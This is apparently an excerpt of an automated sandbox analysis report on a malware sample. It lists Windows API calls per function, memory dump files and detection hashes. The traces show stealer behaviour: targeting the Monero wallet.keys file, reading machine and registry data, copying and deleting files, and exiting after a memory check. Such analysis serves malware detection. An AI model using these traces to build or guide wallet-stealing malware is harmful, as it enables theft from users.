Part of subcall function 00FD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FD792F

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007B9228,?,00FE110C,?,00000000,?,00FE1110,?,00000000,00FE0AEF), ref: 00FD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FD6AE8
CloseHandle.KERNEL32(00000000), ref: 00FD6AF9
Sleep.KERNEL32(00001770), ref: 00FD6B04
CloseHandle.KERNEL32(?,00000000,?,007B9228,?,00FE110C,?,00000000,?,00FE1110,?,00000000,00FE0AEF), ref: 00FD6B1A
ExitProcess.KERNEL32 ref: 00FD6B22

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 41038a9a84cd79e21e16ff89a3a972666395567d0552136f8acca59573b062d0
Instruction ID: 4c104b03ab1cf36865112af11cd53061d2f7bd2324648450eb8df5ee5c51a489
Opcode Fuzzy Hash: 41038a9a84cd79e21e16ff89a3a972666395567d0552136f8acca59573b062d0
Instruction Fuzzy Hash: 91312E71900209AADB05F7E0DC57FEE773AAF44300F58451AF512A6282EF785905F7AA

Function 00FC99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 6b712fac9bae70ed53f43dbd7c4468ed60d8778f7d6a314e1cf539b11290e946
Instruction ID: 4c7aa63f4f0a34a0fe17bc5e7b29d860afea242ba8b06c870bc83a4ace8d2633
Opcode Fuzzy Hash: 6b712fac9bae70ed53f43dbd7c4468ed60d8778f7d6a314e1cf539b11290e946
Instruction Fuzzy Hash: 99310B74E0020AEFDB24CF94D98AFAE77B5FF48350F108158E911A7294D778AA41DFA1

Function 00FC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FC123E
__aulldiv.LIBCMT ref: 00FC1258
__aulldiv.LIBCMT ref: 00FC1266
ExitProcess.KERNEL32 ref: 00FC1294

Strings

@, xrefs: 00FC1233

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 2c19bacee8891749b8c2ae402150decd844d3707eb11846a5df4e2d5c23653da
Instruction ID: da7a81f6ce41d2040e0d8953eb88062b2c695a311ed579acee291a185bb30b2d
Opcode Fuzzy Hash: 2c19bacee8891749b8c2ae402150decd844d3707eb11846a5df4e2d5c23653da
Instruction Fuzzy Hash: D301ADB0D40309BAEB10EBE0CD4AFEEBB78BB01701F248109E705B62C2C7785545A799

Function 00FD7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00FD7E3E
RegOpenKeyExA.KERNEL32(80000002,007AC320,00000000,00020119,?), ref: 00FD7E5E
RegQueryValueExA.KERNEL32(?,007BDB60,00000000,00000000,000000FF,000000FF), ref: 00FD7E7F
RegCloseKey.ADVAPI32(?), ref: 00FD7E92

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f4a8ee8f18caf733d8e738168553abce4a6b1746103a2acc4e226b54013df622
Instruction ID: c0800ab5042badd921e36b5e0fc89e2e82aa1068f6f9042d88d6ea3db206c51e
Opcode Fuzzy Hash: f4a8ee8f18caf733d8e738168553abce4a6b1746103a2acc4e226b54013df622
Instruction Fuzzy Hash: 73119EB2A44309EBD715DF94E849FBFBBB8FB48B10F10421AF605A7285D77459009BA1

Function 00FC12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FC12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00FC12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FC12F5
RegCloseKey.ADVAPI32(?), ref: 00FC12FF

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0887ae4986836092b1e8065724def740904a8e7a0f580af45a61c507d1388d9f
Instruction ID: de16daf12a1b40135433b6a01898fef38d66def17541645c1988cbdc7220837c
Opcode Fuzzy Hash: 0887ae4986836092b1e8065724def740904a8e7a0f580af45a61c507d1388d9f
Instruction Fuzzy Hash: AA0131B9A40308BBDB14DFE0E84DFAEB7B8FB48701F408259FA0597285D6709A018F50

Function 00FCA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(007B9288,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00FCA0BD
LoadLibraryA.KERNEL32(007BDBC0), ref: 00FCA146

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA820: lstrlen.KERNEL32(00FC4F05,?,?,00FC4F05,00FE0DDE), ref: 00FDA82B
Part of subcall function 00FDA820: lstrcpy.KERNEL32(00FE0DDE,00000000), ref: 00FDA885

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

SetEnvironmentVariableA.KERNEL32(007B9288,00000000,00000000,?,00FE12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00FE0AFE), ref: 00FCA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00FCA0B2, 00FCA0C6, 00FCA0DC

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 61c35b06545fb85fe365492a5cab877b2b1e4cbab0577e93ee67627ad42c6fcb
Instruction ID: 2c48dcd7a3dce75ced2a2dd5d850722e97fd819da7aa497c193a821e0691c6d8
Opcode Fuzzy Hash: 61c35b06545fb85fe365492a5cab877b2b1e4cbab0577e93ee67627ad42c6fcb
Instruction Fuzzy Hash: E84161B18113059FCB26DF64FD4AFAD3379B798301F94021DE4069328ADB386984EF51

Function 00FCA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD8B60: GetSystemTime.KERNEL32(00FE0E1A,007BA5D0,00FE05AE,?,?,00FC13F9,?,0000001A,00FE0E1A,00000000,?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FD8B86

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FCA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FCA3FF
lstrlen.KERNEL32(00000000), ref: 00FCA6BC

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00FCA743

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 608aa814f7aa6cf162c426240d69d752b1966bd2d9aab3d3dfd99d41e74e92d0
Instruction ID: 0066e557ae9147513bf3766c3c2e09219af8af84a968a37f16f3f9af6d618c88
Opcode Fuzzy Hash: 608aa814f7aa6cf162c426240d69d752b1966bd2d9aab3d3dfd99d41e74e92d0
Instruction Fuzzy Hash: C8E141728101489BCB15FBA4DC96EEE733DAF14300F54811AF51772192EF386A09FB6A

Function 00FCD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
